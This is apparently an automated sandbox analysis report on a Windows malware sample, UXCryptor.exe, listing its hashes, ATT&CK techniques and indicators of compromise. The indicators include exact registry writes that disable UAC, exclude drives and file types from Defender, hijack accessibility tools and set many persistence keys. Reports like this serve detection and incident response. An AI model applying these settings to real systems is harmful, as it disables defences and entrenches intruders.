d9c0dd495f3bdf5bc2853d72e11fb47dcb4fd5285b003dd41eb17486ba5cf25e

Analysis

max time kernel
2s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 23:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
UXCryptor.exe
Size 144KB
Sample260620-3kf5ssbs7x
SHA256 d9c0dd495f3bdf5bc2853d72e11fb47dcb4fd5285b003dd41eb17486ba5cf25e
MD5 b50f6138566cb288bc96cc5961a4df0e
SHA1 df74e49e4eb50164eafa6620bcdec00dfad9c26f
SHA512 ea1875a6583a683b675518986292c169f9e26b293d33870c728598e64a0d38d65911bb4799e427844d01cdf004b2abbea3a3b73b4d8beb2a345cfd72bbec48f5
SSDEEP 3072:Ojb4ctJAYabTf+eb4uEYtDMWcGaKaWR2ymmF2Rfa2shqY:OHt6tbIYtDMHGau2uka2gq
TLSH
T1FCE38D4073E58B27D2BD2AB60876F10201FBB8565533DA1D3E8C62DD1BF3B4487A1B66
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe

Windows security bypass 2 TTPs 20 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\js = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\F: = "0"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\bat = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\com = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\dll = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\sys = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\scr = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cmd = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\jse = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\msi = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\vbe = "0"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\E: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\drv = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ocx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cpl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\vbs = "0"	UXCryptor.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 3 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}\ = "Windows Security Update"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{A5D5C9B3-7B2E-4F1D-8A3E-5C9B7D2E1F4A}\StubPath = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
18336	powershell.exe
3748	powershell.exe
18884	powershell.exe
18524	powershell.exe
1992	powershell.exe
3288	powershell.exe
832	powershell.exe
6768	powershell.exe
3524	powershell.exe
18724	powershell.exe
1656	powershell.exe
6212	powershell.exe
592	powershell.exe
1268	powershell.exe
6504	powershell.exe
19320	powershell.exe
19224	powershell.exe
2776	powershell.exe
19028	powershell.exe
4208	powershell.exe
19200	powershell.exe
18852	powershell.exe
17384	powershell.exe
5412	powershell.exe
18932	powershell.exe
18296	powershell.exe
4472	powershell.exe
6576	powershell.exe
368	powershell.exe
5128	powershell.exe
18916	powershell.exe
3096	powershell.exe
18032	powershell.exe
6952	powershell.exe
19336	powershell.exe
19152	powershell.exe
18452	powershell.exe
1560	powershell.exe
2176	powershell.exe
2872	powershell.exe
696	powershell.exe
108	powershell.exe
436	powershell.exe
18112	powershell.exe
668	powershell.exe
2240	powershell.exe
2036	powershell.exe
6972	powershell.exe
19232	powershell.exe
19044	powershell.exe
18668	powershell.exe
18660	powershell.exe
3508	powershell.exe
2000	powershell.exe
6844	powershell.exe
2156	powershell.exe
18604	powershell.exe
18564	powershell.exe
18620	powershell.exe
17480	powershell.exe
6496	powershell.exe
692	powershell.exe
1828	powershell.exe
1648	powershell.exe

Disables RegEdit via registry modification 2 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	UXCryptor.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 14 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SU.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsetingss.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsetingss.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\""	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	UXCryptor.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe	UXCryptor.exe

Windows security modification 2 TTPs 21 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\vbe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\F: = "0"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\dll = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\sys = "0"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cpl = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\bat = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\vbs = "0"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\msi = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\ocx = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\com = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\js = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\jse = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\E: = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\drv = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\scr = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\cmd = "0"	UXCryptor.exe

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_85 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_151 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_204 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_28 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_33 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_38 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_63 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_66 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_70 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_186 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_22 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_51 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_117 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_122 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_164 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_12 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_155 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_184 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_202 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_3 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_93 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_156 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_13 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_54 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_161 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_176 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_237 = "692377"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_255 = "692377"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_80 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_86 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_204 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_208 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_87 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_135 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_151 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_181 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_196 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_131 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_145 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_150 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_77 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_210 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_221 = "369452"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_236 = "692377"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_25 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_35 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_187 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_63 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_69 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSyncService_148 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_32 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_54 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_106 = "770861"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_121 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_25 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_186 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_31 = "918119"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_141 = "193786"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateChecker_173 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_233 = "692377"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate_173 = "516710"	UXCryptor.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3839916939-1319118069-2256772647-1000\Software\Microsoft\Windows\CurrentVersion\Run\NvidiaDriverHelper_40 = "770861"	UXCryptor.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe

Modifies WinLogon 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity\DLLName = "C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe"	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\WindowsSecurity\Startup = "WindowsSecurityStartup"	UXCryptor.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\winsecsvc.exe	UXCryptor.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2256	cmd.exe
4616	cmd.exe
1064	cmd.exe
4424	cmd.exe
18288	cmd.exe
7016	cmd.exe
2868	cmd.exe
3140	cmd.exe
5308	cmd.exe
17896	cmd.exe
17556	cmd.exe
11064	cmd.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
17640	sc.exe
14812	sc.exe
18180	sc.exe
3744	sc.exe
2408	sc.exe
5532	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
